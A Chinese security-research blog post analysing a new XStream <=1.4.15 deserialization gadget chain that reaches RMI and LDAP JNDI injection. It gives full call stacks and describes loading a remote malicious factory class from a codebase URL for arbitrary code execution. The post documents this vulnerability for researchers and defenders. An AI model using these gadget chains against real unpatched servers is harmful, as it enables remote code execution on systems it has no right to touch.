XStream<=1.4.15-反序列化-JNDI注入

欢迎关注我的微信公众号:安全攻防渗透

信息安全领域原创公号,专注信安领域人才培养和知识分享,致力于帮助叁年以下信安从业者的学习和成长。


BNkKyn.png

原创 卫兵实验室 安恒信息安全研究院

漏洞复现证明截图


在这里插入图片描述

影响范围


XStream<=1.4.15

漏洞分析


年前找的一个链,前天害怕被撞就交了,结果今天就发了补丁,不过修的几个链跟我找的sink点和触发toString点都不一样,应该算一个新的CVE的,在这里给大家分享出来。
回顾下CVE-2020-26217的调用栈

com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap
    java.util.HashMap#put
        java.util.HashMap#hash
            jdk.nashorn.internal.objects.NativeString#hashCode
                com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
                com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
                    com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
                        java.io.SequenceInputStream#read(byte[], int, int)
                        java.io.SequenceInputStream#nextStream
                            javax.swing.MultiUIDefaults.MultiUIDefaultsEnumerator#nextElement
                                javax.imageio.spi.FilterIterator#next
                                javax.imageio.spi.FilterIterator#advance
                                    javax.imageio.ImageIO.ContainsFilter#filter
                                        java.lang.ProcessBuilder#start

hashcode()->toString() 的入口 jdk.nashorn.internal.objects.NativeString 和 sink点 javax.imageio.ImageIO$ContainsFilter 都被加入到了黑名单中。

不过我们可以复用 java.io.SequenceInputStream#nextStream 去找新的sink点。
在这里插入图片描述

RMI


com.sun.jndi.rmi.registry.BindingEnumeration

在这里插入图片描述
ctxvar2 我们都可控,因此这里可以进行JNDI注入。不过 ctxcom.sun.jndi.rmi.registry.RegistryContext 类型的,我们只能打rmi的JNDI注入,继续找找看有没有ldap的。

LDAP


com.sun.jndi.ldap.LdapBindingEnumeration#createItem

在这里插入图片描述
DirectoryManager.getObjectInstance 可以通过传入 Reference 对象来加载恶意class,var6this.homeCtxthis.homeCtx.envpropsvar2 我们都可控,回溯一下var4
在这里插入图片描述
跟进 decodeReference,由于 decodeObject 中的 var0 我们可控,最终可以让代码进入到 decodeReference 方法中,且 new Reference 的所有参数都可控,构造 new Reference("refClassName", "factoryClassName", "http://example.com:12345/") 传入 DirectoryManager.getObjectInstance 即可加载 http://example.com:12345/ 上名为 factoryClassName.class 的类,将恶意代码放入static代码块即可任意代码执行。
在这里插入图片描述
com.sun.jndi.ldap.LdapBindingEnumeration 直接传过去会出现 this.data 不为null的情况,所以我用了 com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl 来间接调用 LdapBindingEnumeration#next 方法。

在这里插入图片描述

触发toString()

然后还有 toString 的入口,找了一圈所有类的 hashcode() 方法也没有找到能够触发 toString 的类,由于 SerializableConverter 支持调用 readObject 方法,前提是该类实现了 java.io.Serializable 接口(类的属性没有实现该接口依然可以被正常赋值),并且没有被之前的转换器捕获到,因此我们可以找找所有类的 readObject 方法。
在这里插入图片描述
比较常用的是 javax.management.BadAttributeValueExpException#readObject ,但是该类继承了 Throwable ,会被 ThrowableConverter 补货到,无法被 SerializableConverter 解析。

1
因此我们需要找一个新的类,我找到了一条可以用于Java原生反序列化触发 toString() 的链,这里暂不公开,下面是公开的几个CVE中用到的 toString 链。

java.util.PriorityQueue#readObject
        ->java.util.PriorityQueue#heapify
                ->java.util.PriorityQueue#siftDown
                        ->java.util.PriorityQueue#siftDownUsingComparator
                              ->javafx.collections.ObservableList#sorted()#compare()

在这里插入图片描述
不过这个链只能用在XStream中而不能用在Java原生反序列化中的,因为 javafx.collections.ObservableList 没有实现序列化接口。

RMI
java.util.PriorityQueue#readObject
    java.util.PriorityQueue#heapify
        java.util.PriorityQueue#siftDown
            java.util.PriorityQueue#siftDownUsingComparator
              javafx.collections.ObservableList#sorted()#compare()
                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
                  com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
                      java.io.SequenceInputStream#read(byte[], int, int)
                      java.io.SequenceInputStream#nextStream
                          com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
                              com.sun.jndi.rmi.registry.BindingEnumeration#next
                                  RegistryContext.lookup
Ldap
java.util.PriorityQueue#readObject
    java.util.PriorityQueue#heapify
        java.util.PriorityQueue#siftDown
            java.util.PriorityQueue#siftDownUsingComparator
              javafx.collections.ObservableList#sorted()#compare()
                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
                  com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
                     java.io.SequenceInputStream#read(byte[], int, int)
                     java.io.SequenceInputStream#nextStream
                         com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
                             com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next
                                 com.sun.jndi.ldap.LdapBindingEnumeration#createItem
                                     javax.naming.spi.DirectoryManager#getObjectInstance

版权声明:该篇文章来自于:Smi1e@卫兵实验室
原创地址:XStream<=1.4.15-反序列化-JNDI注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值